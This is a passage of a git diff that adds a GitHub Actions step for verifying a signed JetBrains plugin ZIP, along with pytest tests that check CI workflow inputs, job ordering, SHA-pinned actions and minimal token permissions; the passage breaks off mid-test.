fi + jq -e --argjson skipped "$skipped" ' + all(to_entries[]; + .value.result == "success" or (.value.result == "skipped" and (.key | IN($skipped[]))) + ) + ' <<<"$NEEDS_JSON" diff --git a/stage-jetbrains-marketplace/action.yml b/stage-jetbrains-marketplace/action.yml new file mode 100644 index 0000000..f031b66 --- /dev/null +++ b/stage-jetbrains-marketplace/action.yml @@ -0,0 +1,65 @@ +name: Stage or verify JetBrains Marketplace plugin +description: Compare a signed ZIP with the Marketplace before upload, or with the public version after it +inputs: + archive: + description: Signed plugin ZIP recorded by the signing job + required: true + sha256: + description: SHA256 recorded by the signing job before artifact upload + required: true + plugin-id: + description: JetBrains plugin XML ID, such as com.github.toxdev.fish + required: true + version: + description: Release tag, such as v1.2.3 or v1.2.3-beta.1; the v prefix is removed + required: true + mode: + description: stage compares before upload and emits publish; verify compares the public version after upload + default: stage +outputs: + publish: + description: true when stage finds no public version and the upload should run; empty in verify mode + value: ${{ steps.stage.outputs.publish }} + channel: + description: Marketplace channel from the tag suffix, such as beta; empty selects Stable + value: ${{ steps.channel.outputs.name }} +runs: + using: composite + steps: + - name: ๐Ÿ” Verify signed ZIP digest + shell: bash + env: + ARCHIVE: ${{ inputs.archive }} + EXPECTED_SHA: ${{ inputs.sha256 }} + run: | + set -euo pipefail + read -r actual _ < <(sha256sum "$ARCHIVE") + if [[ "$actual" != "$EXPECTED_SHA" ]]; then + echo "::error::signed ZIP ${ARCHIVE##*/} has SHA256 $actual, the signing job recorded $EXPECTED_SHA" >&2 + exit 1 + fi + echo "Signed ZIP ${ARCHIVE##*/}: SHA256 matches the signing job" + - name: โš™๏ธ Select Marketplace channel + id: channel + shell: bash + env: + TAG: ${{ inputs.version }} + run: | + set -euo pipefail + version="${TAG#v}" + channel="${version#*-}" + if [[ "$channel" == "$version" ]]; then channel=''; fi + echo "name=${channel%%.*}" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ” Compare Marketplace version + id: stage + shell: bash + env: + ARCHIVE: ${{ inputs.archive }} + PLUGIN_ID: ${{ inputs.plugin-id }} + VERSION: ${{ inputs.version }} + MODE: ${{ inputs.mode }} + run: | + set -euo pipefail + args=(marketplace --plugin-id "$PLUGIN_ID" --version "${VERSION#v}" --archive "$ARCHIVE" --mode "$MODE") + if [[ "$MODE" == stage ]]; then args+=(--github-output "$GITHUB_OUTPUT"); fi + release-creator "${args[@]}" diff --git a/tests/build_maturin_wheels/test_workflow.py b/tests/build_maturin_wheels/test_workflow.py new file mode 100644 index 0000000..8754824 --- /dev/null +++ b/tests/build_maturin_wheels/test_workflow.py @@ -0,0 +1,155 @@ +import json +import re +from pathlib import Path + +import pytest +from conftest import WORKFLOWS, JsonObject, action, at, load_yaml, mapping, step, steps, text + + +@pytest.fixture(scope="module") +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "build-maturin-wheels.yaml") + + +def test_inputs_have_documented_defaults(workflow: JsonObject) -> None: + inputs = mapping(at(workflow, "on", "workflow_call", "inputs")) + + assert at(inputs, "package-path", "default") == "." + assert at(inputs, "sdist", "default") == "true" + assert at(inputs, "release-build", "default") == "false" + assert at(inputs, "pre-build-command", "default") == "" + assert at(inputs, "post-build-command", "default") == "" + assert at(inputs, "matrix", "required") == "true" + assert at(inputs, "package-name", "required") == "true" + + +def test_matrix_comes_from_the_json_input(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "build", "strategy", "matrix") == {"include": "${{ fromJSON(inputs.matrix) }}"} + assert at(workflow, "jobs", "build", "runs-on") == "${{ matrix.os }}" + + +def test_artifact_names_match_the_callers_names(workflow: JsonObject) -> None: + uploads = { + text(item["name"]): text(at(item, "with", "name")) + for job in ("build", "sdist") + for item in steps(workflow, job) + if text(item.get("uses", "")).startswith("actions/upload-artifact@") + } + + assert uploads == { + "๐Ÿ“ค Upload wheels": "${{ inputs.package-name }}-wheels-${{ matrix.artifact }}", + "๐Ÿ“ค Upload sdist": "${{ inputs.package-name }}-wheels-sdist", + } + + +def test_release_mode_disables_sccache_for_tags_or_input(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "source", "outputs", "release") == ( + "${{ inputs.release-build || startsWith(github.ref, 'refs/tags/') }}" + ) + assert at(step(workflow, "build", "๐Ÿ—๏ธ Build wheels"), "with", "sccache") == ( + "${{ needs.source.outputs.release != 'true' }}" + ) + + +def test_post_build_command_runs_after_maturin_and_before_upload(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "build")] + + assert names.index("๐Ÿ—๏ธ Build wheels") < names.index("๐Ÿ—๏ธ Run post-build command") < names.index("๐Ÿ“ค Upload wheels") + + +def test_pre_build_command_runs_once_in_the_source_job(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "source")] + + assert "๐Ÿท๏ธ Run pre-build command" in names + assert names.index("๐Ÿท๏ธ Run pre-build command") < names.index("๐Ÿ“ค Upload source") + assert "๐Ÿท๏ธ Run pre-build command" not in [item["name"] for item in steps(workflow, "build")] + + +@pytest.mark.parametrize( + ("job", "first_use"), + [ + pytest.param("build", "๐Ÿ—๏ธ Build wheels", id="wheels"), + pytest.param("sdist", "๐Ÿ“ฆ Export locked build constraints", id="sdist"), + ], +) +def test_source_download_overlaps_uv_setup_and_is_joined_before_use( + workflow: JsonObject, job: str, first_use: str +) -> None: + names = [item["name"] for item in steps(workflow, job)] + + assert step(workflow, job, "๐Ÿ“ฉ Download source")["background"] == "true" + assert names.index("๐Ÿ“ฉ Download source") < names.index("๐Ÿ Install uv and Python") + assert names.index("๐Ÿ Install uv and Python") < names.index("โณ Wait for source") < names.index(first_use) + assert step(workflow, job, "โณ Wait for source")["wait"] == "download" + + +def test_no_job_requests_a_write_token(workflow: JsonObject) -> None: + for name, job in mapping(workflow["jobs"]).items(): + assert mapping(job).get("permissions", {}) in ({}, {"contents": "read"}), name + assert at(workflow, "permissions") == {} + + +def test_every_external_action_is_sha_pinned(workflow: JsonObject) -> None: + uses = [text(item["uses"]) for job in mapping(workflow["jobs"]) for item in steps(workflow, job) if "uses" in item] + pinned = re.compile(r"^(\$/|[\w.-]+/[\w./-]+@[0-9a-f]{40})") + + assert uses + assert all(pinned.match(value) for value in uses), uses + + +def test_every_checkout_keeps_credentials_out_of_the_job(workflow: JsonObject) -> None: + checkouts = [ + item + for job in mapping(workflow["jobs"]) + for item in steps(workflow, job) + if text(item.get("uses", "")).startswith("actions/checkout@") + ] + + assert checkouts + assert all(at(item, "with", "persist-credentials") == "false" for item in checkouts) + + +def test_gate_delegates_to_required_checks(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "gate") == { + "name": "๐Ÿšฆ Build distributions pass", + "if": "${{ !cancelled() }}", + "needs": ["source", "build", "sdist"], + "runs-on": "ubuntu-26.04", + "permissions": {}, + "steps": [ + { + "name": "๐Ÿšฆ Require all needed jobs to pass", + "uses": "$/required-checks", + "with": {"needs": "${{ toJSON(needs) }}", "allow-skipped": "sdist"}, + } + ], + } + + +@pytest.mark.parametrize( + ("results", "accepted"), + [ + pytest.param({"source": "success", "build": "success", "sdist": "success"}, True, id="all-succeeded"), + pytest.param({"source": "success", "build": "success", "sdist": "skipped"}, True, id="sdist-skipped"), + pytest.param({"source": "success", "build": "success", "sdist": "failure"}, False, id="sdist-failed"), + pytest.param({"source": "success", "build": "failure", "sdist": "success"}, False, id="build-failed"), + pytest.param({"source": "success", "build": "cancelled", "sdist": "success"}, False, id="build-cancelled"), + pytest.param({"source": "success", "build": "skipped", "sdist": "success"}, False, id="build-skipped"), + ], +) +def test_gate_requires_build_jobs_to_succeed( + tmp_path: Path, + action_scripts: Path, + results: dict[str, str], + accepted: bool, +) -> None: + result = action( + tmp_path, + tmp_path, + action_scripts, + "required-checks", + version="", + NEEDS=json.dumps({name: {"result": outcome} for name, outcome in results.items()}), + ALLOW_SKIPPED="sdist", + ) + assert (result.returncode == 0) is accepted, result.stderr diff --git a/tests/check_nab_exceptions/test_action.py b/tests/check_nab_exceptions/test_action.py new file mode 100644 index 0000000..910e175 --- /dev/null +++ b/tests/check_nab_exceptions/test_action.py @@ -0,0 +1,51 @@ +from pathlib import Path + +import pytest +from conftest import action + + +@pytest.mark.parametrize( + "content", + [ + pytest.param('[tool.nab]\nmode = "universal"\n', id="no-exceptions"), + pytest.param( + "[tool.nab]\n# expires 2999-01-01\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + id="dated", + ), + ], +) +def test_check_nab_exceptions_action_accepts_dated_exceptions( + tmp_path: Path, action_scripts: Path, content: str +) -> None: + (tmp_path / "pyproject.toml").write_text(content) + + result = action(tmp_path, tmp_path / "runner", action_scripts, "check-nab-exceptions", version="") + + assert (result.returncode, result.stderr) == (0, "") + + +@pytest.mark.parametrize( + ("content", "message"), + [ + pytest.param( + "[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "pyproject.toml: packages.sphinx uploaded-prior-to exception needs a " + "'# expires YYYY-MM-DD' comment directly above it", + id="undated", + ), + pytest.param( + "# expires 2000-01-01\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "pyproject.toml: packages.sphinx uploaded-prior-to exception expired on 2000-01-01; " + "remove it or extend its expiry", + id="expired", + ), + ], +) +def test_check_nab_exceptions_action_rejects_exception( + tmp_path: Path, action_scripts: Path, content: str, message: str +) -> None: + (tmp_path / "pyproject.toml").write_text(content) + + result = action(tmp_path, tmp_path / "runner", action_scripts, "check-nab-exceptions", version="") + + assert (result.returncode, result.stderr) == (1, f"::error::{message}\n") diff --git a/tests/check_workflow/test_check.py b/tests/check_workflow/test_check.py new file mode 100644 index 0000000..bd24653 --- /dev/null +++ b/tests/check_workflow/test_check.py @@ -0,0 +1,230 @@ +import os +import subprocess +from pathlib import Path +from typing import Final + +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, step, steps, text + +WORKFLOW: Final[JsonObject] = load_yaml(WORKFLOWS / "check.yaml") +INPUTS: Final[JsonObject] = mapping(at(WORKFLOW, "on", "workflow_call", "inputs")) + + +@pytest.mark.parametrize( + ("name", "default"), + [ + pytest.param("os", "ubuntu-26.04", id="os"), + pytest.param("apt-packages", "", id="apt-packages"), + pytest.param("tox-install", "tox --with tox-uv", id="tox-install"), + pytest.param("exclude-newer", "7 days", id="exclude-newer"), + pytest.param("exclude-newer-package", "", id="exclude-newer-package"), + pytest.param("pytest-addopts", "-vv --durations=20", id="pytest-addopts"), + pytest.param("diff-against", "HEAD", id="diff-against"), + pytest.param("coverage", "false", id="coverage"), + ], +) +def test_input_defaults(name: str, default: str) -> None: + assert at(INPUTS, name, "default") == default + + +def test_include_input_is_required_json_rows() -> None: + assert at(INPUTS, "include", "required") == "true" + assert at(WORKFLOW, "jobs", "test", "strategy", "matrix") == {"include": "${{ fromJSON(inputs.include) }}"} + assert at(WORKFLOW, "jobs", "test", "runs-on") == "${{ matrix.os || inputs.os }}" + + +def test_workflow_grants_no_token_scope_beyond_contents_read() -> None: + assert at(WORKFLOW, "permissions") == {} + assert at(WORKFLOW, "jobs", "test", "permissions") == {"contents": "read"} + + +def test_checkout_keeps_full_history_without_credentials() -> None: + assert step(WORKFLOW, "test", "๐Ÿ“ฅ Check out repository")["with"] == { + "fetch-depth": "0", + "persist-credentials": "false", + } + + +def test_every_run_block_uses_bash_on_windows_rows() -> None: + assert all(item.get("shell") == "bash" for item in steps(WORKFLOW, "test") if "run" in item) + + +def test_tox_environment_is_built_without_running_tests() -> None: + assert step(WORKFLOW, "test", "๐Ÿ“ฆ Set up test suite")["run"] == ( + 'tox run -vv --notest --skip-missing-interpreters false -e "$MATRIX_ENV"' + ) + + +def test_test_run_reuses_built_environment_with_inputs() -> None: + suite = step(WORKFLOW, "test", "๐Ÿงช Run test suite") + assert suite["run"] == 'tox run --skip-pkg-install -e "$MATRIX_ENV"' + assert at(suite, "env", "PYTEST_ADDOPTS") == "${{ inputs.pytest-addopts }}" + assert at(suite, "env", "DIFF_AGAINST") == "${{ inputs.diff-against }}" + + +def test_installs_run_in_background_and_are_joined_before_the_suite() -> None: + names = [item["name"] for item in steps(WORKFLOW, "test")] + joins = { + "๐Ÿ“ฆ Install apt packages": "โณ Wait for apt packages", + "๐Ÿ“ฆ Install tox": "โณ Wait for tox", + "๐Ÿ Install Python": "โณ Wait for Python", + } + + for install, join in joins.items(): + assert step(WORKFLOW, "test", install)["background"] == "true" + assert names.index(install) < names.index(join) < names.index("๐Ÿ“ฆ Set up test suite") + assert step(WORKFLOW, "test", join)["wait"] == step(WORKFLOW, "test", install)["id"] + assert names.index("๐Ÿ Install uv and Python") < names.index("๐Ÿ“ฆ Install tox") + + +@pytest.mark.parametrize( + ("python", "expected"), + [ + pytest.param("", [], id="row-without-python"), + pytest.param( + "3.14", + [["python", "install", "--python-preference", "only-managed", "3.14"]], + id="row-with-python", + ), + ], +) +def test_python_is_installed_only_for_rows_that_name_one( + tmp_path: Path, python: str, expected: list[list[str]] +) -> None: + calls = _run_install(tmp_path, "๐Ÿ Install Python", {"PYTHON": python}, ("uv",)) + assert calls.get("uv", []) == expected + + +@pytest.mark.parametrize( + ("runner_os", "packages", "expected"), + [ + pytest.param( + "Linux", + "libfoo libbar", + [["apt-get", "update"], ["apt-get", "install", "-y", "libfoo", "libbar"]], + id="linux", + ), + pytest.param("Linux", "", [], id="linux-without-packages"), + pytest.param("Windows", "libfoo", [], id="windows"), + ], +) +def test_apt_packages_install_on_linux_only( + tmp_path: Path, runner_os: str, packages: str, expected: list[list[str]] +) -> None: + calls = _run_install( + tmp_path, + "๐Ÿ“ฆ Install apt packages", + {"APT_PACKAGES": packages, "RUNNER_OS": runner_os}, + ("sudo",), + ) + assert calls.get("sudo", []) == expected + + +def _run_install( + tmp_path: Path, name: str, env: dict[str, str], commands: tuple[str, ...] +) -> dict[str, list[list[str]]]: + stub = tmp_path / "bin" + stub.mkdir() + recorded = {command: tmp_path / f"{command}-calls" for command in commands} + for command, calls in recorded.items(): + (stub / command).write_text(f'#!/usr/bin/env bash\nprintf \'%s\\n\' "$*" >>"{calls}"\n') + (stub / command).chmod(0o755) + result = subprocess.run( + ["bash", "-c", text(step(WORKFLOW, "test", name)["run"])], + env={"PATH": f"{stub}{os.pathsep}{os.environ['PATH']}"} | env, + text=True, + capture_output=True, + check=False, + ) + assert result.returncode == 0, result.stderr + return { + command: [line.split() for line in calls.read_text().splitlines()] + for command, calls in recorded.items() + if calls.exists() + } + + +def test_coverage_upload_is_opt_in_and_named_per_job() -> None: + upload = step(WORKFLOW, "test", "๐Ÿ“ค Upload coverage data") + assert upload["if"] == "${{ inputs.coverage }}" + assert at(upload, "with", "name") == ".coverage.${{ matrix.os || inputs.os }}.${{ matrix.env }}" + assert at(upload, "with", "path") == ".tox/.coverage.*" + assert at(upload, "with", "if-no-files-found") == "error" + + +def test_gate_requires_test_through_required_checks() -> None: + assert at(WORKFLOW, "jobs", "gate") == { + "name": "๐Ÿšฆ Required checks pass", + "if": "${{ !cancelled() }}", + "needs": ["test"], + "runs-on": "ubuntu-26.04", + "permissions": {}, + "steps": [ + { + "name": "๐Ÿšฆ Require all needed jobs to pass", + "uses": "$/required-checks", + "with": {"needs": "${{ toJSON(needs) }}"}, + } + ], + } + + +@pytest.mark.parametrize( + ("tox_install", "package_cutoffs", "expected"), + [ + pytest.param( + "tox --with tox-uv", + "", + ["tool", "install", "--python-preference", "only-managed", "--python", "3.15"] + + ["--exclude-newer", "7 days", "tox", "--with", "tox-uv"], + id="default", + ), + pytest.param( + "tox --with .", + "", + ["tool", "install", "--python-preference", "only-managed", "--python", "3.15"] + + ["--exclude-newer", "7 days", "tox", "--with", "."], + id="local-tox-uv", + ), + pytest.param( + "tox --with tox-uv", + "nab=2026-10-24T00:00:00Z\nrelease-creator=2026-10-30T15:13:19Z\n", + ["tool", "install", "--python-preference", "only-managed", "--python", "3.15"] + + [ + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "nab=2026-10-24T00:00:00Z", + "--exclude-newer-package", + "release-creator=2026-10-30T15:13:19Z", + "tox", + "--with", + "tox-uv", + ], + id="package-cutoffs", + ), + ], +) +def test_tox_install_passes_cutoffs_to_uv( + tmp_path: Path, tox_install: str, package_cutoffs: str, expected: list[str] +) -> None: + stub = tmp_path / "bin" + stub.mkdir() + (stub / "uv").write_text('#!/usr/bin/env bash\nprintf \'%s\\n\' "$@" >"$UV_ARGUMENTS"\n') + (stub / "uv").chmod(0o755) + arguments = tmp_path / "arguments" + result = subprocess.run( + ["bash", "-c", text(step(WORKFLOW, "test", "๐Ÿ“ฆ Install tox")["run"])], + env={ + "PATH": f"{stub}{os.pathsep}{os.environ['PATH']}", + "UV_ARGUMENTS": str(arguments), + "TOX_INSTALL": tox_install, + "EXCLUDE_NEWER": "7 days", + "EXCLUDE_NEWER_PACKAGE": package_cutoffs, + }, + text=True, + capture_output=True, + check=False, + ) + assert result.returncode == 0, result.stderr + assert arguments.read_text().splitlines() == expected diff --git a/tests/check_workflow/test_gate.py b/tests/check_workflow/test_gate.py deleted file mode 100644 index 762defd..0000000 --- a/tests/check_workflow/test_gate.py +++ /dev/null @@ -1,46 +0,0 @@ -from __future__ import annotations - -import json -import os -import subprocess -from pathlib import Path - -import pytest -import yaml - - -@pytest.mark.parametrize( - ("failed_result", "accepted"), - [ - pytest.param(None, True, id="all-succeeded"), - pytest.param("skipped", False, id="skipped-job"), - pytest.param("failure", False, id="failed-job"), - ], -) -def test_required_gate_requires_every_job_to_succeed(failed_result: str | None, accepted: bool) -> None: - workflow = yaml.load( - (Path(__file__).resolve().parents[2] / ".github/workflows/check.yaml").read_text(), - Loader=yaml.BaseLoader, - ) - names = workflow["jobs"]["gate"]["needs"] - needs = {name: {"result": "success"} for name in names} - if failed_result is not None: - needs[names[-1]] = {"result": failed_result} - result = subprocess.run( - ["bash", "-c", workflow["jobs"]["gate"]["steps"][0]["run"]], - env=os.environ | {"NEEDS_JSON": json.dumps(needs)}, - text=True, - capture_output=True, - check=False, - ) - assert (result.returncode == 0) is accepted, result.stderr - - -def test_required_gate_does_not_repeat_changelog_lock_check() -> None: - root = Path(__file__).resolve().parents[2] - check = yaml.load((root / ".github/workflows/check.yaml").read_text(), Loader=yaml.BaseLoader) - news = yaml.load((root / ".github/workflows/news.yaml").read_text(), Loader=yaml.BaseLoader) - - assert "release-tools-preview" not in check["jobs"] - assert check["jobs"]["gate"]["needs"] == ["check", "shell", "test", "type"] - assert news["jobs"]["changelog"]["steps"][-1]["uses"] == "$/validate-news" diff --git a/tests/codeql_workflow/test_codeql.py b/tests/codeql_workflow/test_codeql.py new file mode 100644 index 0000000..67f9a5b --- /dev/null +++ b/tests/codeql_workflow/test_codeql.py @@ -0,0 +1,86 @@ +import json +from pathlib import Path +from typing import Final + +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, step + +REUSABLE: Final[JsonObject] = load_yaml(WORKFLOWS / "codeql.yaml") +CALLER: Final[JsonObject] = load_yaml(WORKFLOWS / "codeql-self.yaml") +INPUTS: Final[JsonObject] = mapping(at(REUSABLE, "on", "workflow_call", "inputs")) +ANALYZE: Final[JsonObject] = mapping(at(REUSABLE, "jobs", "analyze")) +CODEQL_SHA: Final = "9b3254085494b55a0f7c4c2b3d2d52cc712ce370" + + +@pytest.mark.parametrize( + ("name", "default"), + [ + pytest.param("languages", '["actions","python"]', id="languages"), + pytest.param("paths-ignore", "[]", id="paths-ignore"), + pytest.param("queries", "security-extended", id="queries"), + pytest.param("config-file", "", id="config-file"), + pytest.param("build-mode", "none", id="build-mode"), + ], +) +def test_input_defaults(name: str, default: str) -> None: + assert at(INPUTS, name, "default") == default + + +def test_each_language_gets_its_own_job() -> None: + assert ANALYZE["name"] == "๐Ÿ›ก๏ธ Analyze ${{ matrix.language }}" + assert ANALYZE["strategy"] == {"fail-fast": "false", "matrix": {"language": "${{ fromJSON(inputs.languages) }}"}} + + +def test_analysis_needs_security_events_write_from_caller() -> None: + assert ANALYZE["permissions"] == {"contents": "read", "security-events": "write"} + assert at(REUSABLE, "permissions") == {} + + +def test_init_receives_each_input() -> None: + init = step(REUSABLE, "analyze", "๐Ÿ›ก๏ธ Initialize CodeQL") + assert init["uses"] == f"github/codeql-action/init@{CODEQL_SHA}" + assert at(init, "with", "languages") == "${{ matrix.language }}" + assert at(init, "with", "build-mode") == "${{ inputs.build-mode }}" + assert at(init, "with", "queries") == "${{ inputs.queries }}" + assert at(init, "with", "config-file") == "${{ inputs.config-file }}" + + +def test_paths_ignore_becomes_config_only_without_config_file() -> None: + assert at(step(REUSABLE, "analyze", "๐Ÿ›ก๏ธ Initialize CodeQL"), "with", "config") == ( + "${{ inputs.config-file == '' && format('paths-ignore: {0}', inputs.paths-ignore) || '' }}" + ) + + +@pytest.mark.parametrize( + ("paths_ignore", "expected"), + [ + pytest.param("[]", [], id="none"), + pytest.param('["tests"]', ["tests"], id="tests"), + pytest.param('["tests","docs/conf.py"]', ["tests", "docs/conf.py"], id="several"), + ], +) +def test_paths_ignore_input_is_valid_codeql_yaml(tmp_path: Path, paths_ignore: str, expected: list[str]) -> None: + assert json.loads(paths_ignore) == expected + config = tmp_path / "codeql.yaml" + config.write_text(f"paths-ignore: {paths_ignore}\n") + assert load_yaml(config) == {"paths-ignore": expected} + + +def test_analyze_uses_the_same_pinned_release() -> None: + analyze = step(REUSABLE, "analyze", "๐Ÿ›ก๏ธ Analyze") + assert analyze["uses"] == f"github/codeql-action/analyze@{CODEQL_SHA}" + assert analyze["with"] == {"category": "/language:${{ matrix.language }}"} + + +def test_gw_caller_keeps_its_triggers() -> None: + assert list(mapping(CALLER["on"])) == ["push", "pull_request", "schedule", "workflow_dispatch"] + assert at(CALLER, "on", "schedule") == [{"cron": "0 9 * * 2"}] + + +def test_gw_caller_passes_its_scope_to_the_reusable_workflow() -> None: + assert at(CALLER, "jobs", "analyze") == { + "name": "๐Ÿ›ก๏ธ Analyze", + "uses": "$/.github/workflows/codeql.yaml", + "permissions": {"contents": "read", "security-events": "write"}, + "with": {"languages": '["actions","python"]', "paths-ignore": '["tests"]'}, + } diff --git a/tests/conftest.py b/tests/conftest.py index 912b684..33b42a6 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -1,7 +1,6 @@ -from __future__ import annotations - import json import os +import re import shutil import ssl import subprocess @@ -10,7 +9,7 @@ from collections.abc import Iterator, Mapping from pathlib import Path from textwrap import dedent -from typing import Final +from typing import Final, TypeIs import certifi import coverage @@ -21,6 +20,7 @@ from werkzeug.wrappers import Request, Response CALLER: Final = Path(__file__).parent / "fixtures/caller" +WORKFLOWS: Final = Path(__file__).resolve().parents[1] / ".github/workflows" @pytest.fixture @@ -67,7 +67,9 @@ def action_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: "render-release-notes", "select-previous-tag", "validate-news", + "required-checks", "refresh-release-lock", + "check-nab-exceptions", "install-locked-tools", "export-build-constraints", "build-python-distribution", @@ -77,6 +79,8 @@ def action_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: "publish-jetbrains-marketplace", "sign-jetbrains-plugin", "publish-post-release-pr", + "stage-jetbrains-marketplace", + "prepare-jetbrains-post-release", ): action = yaml.safe_load((source / action_name / "action.yml").read_text()) for index, step in enumerate(action["runs"]["steps"]): @@ -355,6 +359,114 @@ def _run_action( return subprocess.CompletedProcess(command, 0, "".join(stdout), "".join(stderr)), outputs +type JsonValue = str | int | float | bool | None | list[JsonValue] | dict[str, JsonValue] +type JsonObject = dict[str, JsonValue] + + +def load_yaml(path: Path) -> JsonObject: + document = yaml.load(path.read_text(), Loader=yaml.BaseLoader) + if not is_json_object(document): + msg = f"{path} is not a YAML mapping" + raise TypeError(msg) + return document + + +def mapping(value: JsonValue) -> JsonObject: + if not is_json_object(value): + msg = f"expected a mapping, got {value!r}" + raise TypeError(msg) + return value + + +def text(value: JsonValue) -> str: + if not isinstance(value, str): + msg = f"expected text, got {value!r}" + raise TypeError(msg) + return value + + +def at(document: JsonObject, *keys: str) -> JsonValue: + value: JsonValue = document + for key in keys: + value = mapping(value)[key] + return value + + +def step_list(value: JsonValue) -> list[JsonObject]: + if not isinstance(value, list): + msg = f"expected a step list, got {value!r}" + raise TypeError(msg) + return [mapping(item) for item in value] + + +def steps(document: JsonObject, job: str) -> list[JsonObject]: + return step_list(at(document, "jobs", job, "steps")) + + +def step(document: JsonObject, job: str, name: str) -> JsonObject: + return next(item for item in steps(document, job) if item.get("name") == name) + + +def workflow_env(workflow: str) -> dict[str, str]: + return {key: text(value) for key, value in mapping(load_yaml(WORKFLOWS / workflow).get("env", {})).items()} + + +def workflow_step(workflow: str, job: str, name: str) -> JsonObject: + return step(load_yaml(WORKFLOWS / workflow), job, name) + + +def run_workflow_step( + workflow: str, + job: str, + name: str, + *, + cwd: Path, + runner_temp: Path, + values: Mapping[str, str], + env: Mapping[str, str], +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + definition = workflow_step(workflow, job, name) + script = runner_temp / "step.sh" + script.write_text(text(definition["run"])) + output = runner_temp / "output" + output.unlink(missing_ok=True) + expand = {"runner.temp": str(runner_temp), "github.repository": "tox-dev/fixture", **values} + declared = workflow_env(workflow) | {key: text(value) for key, value in mapping(definition.get("env", {})).items()} + # An env override replaces the value, so its ${{ }} expression need not resolve. + expanded = { + variable: re.sub(r"\$\{\{\s*(.+?)\s*\}\}", lambda match: expand[match.group(1)], value) + for variable, value in declared.items() + if variable not in env + } + environment = {variable: os.environ[variable] for variable in ("HOME", "LANG", "PATH") if variable in os.environ} + environment |= { + "RUNNER_TEMP": str(runner_temp), + "GITHUB_OUTPUT": str(output), + "GITHUB_REPOSITORY": "tox-dev/fixture", + } + result = subprocess.run( + ["bash", "--noprofile", "--norc", "-eo", "pipefail", str(script)], + cwd=cwd, + env={**environment, **expanded, **env}, + text=True, + capture_output=True, + check=False, + ) + return result, read_outputs(output) + + +def is_json(value: object) -> TypeIs[JsonValue]: + if isinstance(value, list): + return all(is_json(item) for item in value) + if isinstance(value, dict): + return is_json_object(value) + return value is None or isinstance(value, str | int | float | bool) + + +def is_json_object(value: object) -> TypeIs[JsonObject]: + return isinstance(value, dict) and all(isinstance(key, str) and is_json(item) for key, item in value.items()) + + def run(directory: Path, *command: str) -> subprocess.CompletedProcess[str]: environment = _safe_environment() result = subprocess.run( @@ -482,8 +594,40 @@ def _expression( raise ValueError(f"unsupported GitHub step environment: {expression}") # pragma: no cover - new syntax only +def read_outputs(path: Path) -> dict[str, str]: + if not path.exists(): + return {} + outputs: dict[str, str] = {} + lines = path.read_text().splitlines() + index = 0 + while index < len(lines): + if "<<" in lines[index]: + name, delimiter = lines[index].split("<<", 1) + end = lines.index(delimiter, index + 1) + outputs[name] = "\n".join(lines[index + 1 : end]) + index = end + 1 + else: + name, _, value = lines[index].partition("=") + outputs[name] = value + index += 1 + return outputs + + __all__ = [ "CALLER", + "WORKFLOWS", + "JsonObject", + "JsonValue", "action", + "at", + "load_yaml", + "mapping", "run", + "run_workflow_step", + "step", + "step_list", + "steps", + "text", + "workflow_env", + "workflow_step", ] diff --git a/tests/jetbrains_plugin_check/test_plugin.py b/tests/jetbrains_plugin_check/test_plugin.py new file mode 100644 index 0000000..ec772ae --- /dev/null +++ b/tests/jetbrains_plugin_check/test_plugin.py @@ -0,0 +1,218 @@ +import hashlib +import json +from pathlib import Path +from typing import Final + +import pytest +from conftest import ( + WORKFLOWS, + JsonObject, + action, + at, + load_yaml, + mapping, + run_workflow_step, + steps, + text, + workflow_step, +) + +_WORKFLOW: Final[str] = "jetbrains-plugin-check.yaml" +_GATE_NEEDS: Final[list[str]] = ["build", "verify", "ui-test"] + + +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) + + +@pytest.fixture +def distributions(tmp_path: Path) -> Path: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.3\n") + directory = tmp_path / "build/distributions" + directory.mkdir(parents=True) + return directory + + +def test_build_records_name_and_digest_of_the_one_zip(tmp_path: Path, distributions: Path) -> None: + (distributions / "Plugin-1.2.3.zip").write_bytes(b"zip bytes") + result, outputs = run_workflow_step( + _WORKFLOW, + "build", + "โš™๏ธ Record unsigned ZIP digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={}, + ) + assert result.returncode == 0, result.stderr + assert outputs == {"name": "Plugin-1.2.3.zip", "sha256": hashlib.sha256(b"zip bytes").hexdigest()} + + +@pytest.mark.parametrize( + ("archives", "found"), + [ + pytest.param([], 0, id="no-archive"), + pytest.param(["Plugin-1.2.3.zip", "Other-1.2.3.zip"], 2, id="ambiguous"), + ], +) +def test_build_rejects_missing_or_ambiguous_zip( + tmp_path: Path, distributions: Path, archives: list[str], found: int +) -> None: + for name in archives: + (distributions / name).write_bytes(b"zip bytes") + result, _ = run_workflow_step( + _WORKFLOW, + "build", + "โš™๏ธ Record unsigned ZIP digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={}, + ) + assert result.returncode != 0 + assert f"expected one plugin ZIP for version 1.2.3, found {found}" in result.stderr + + +def test_build_ignores_archives_of_other_versions(tmp_path: Path, distributions: Path) -> None: + (distributions / "Plugin-1.2.2.zip").write_bytes(b"old") + (distributions / "Plugin-1.2.3.zip").write_bytes(b"new") + result, outputs = run_workflow_step( + _WORKFLOW, + "build", + "โš™๏ธ Record unsigned ZIP digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={}, + ) + assert result.returncode == 0, result.stderr + assert outputs == {"name": "Plugin-1.2.3.zip", "sha256": hashlib.sha256(b"new").hexdigest()} + + +def test_plugin_version_input_overrides_committed_version(tmp_path: Path) -> None: + (tmp_path / 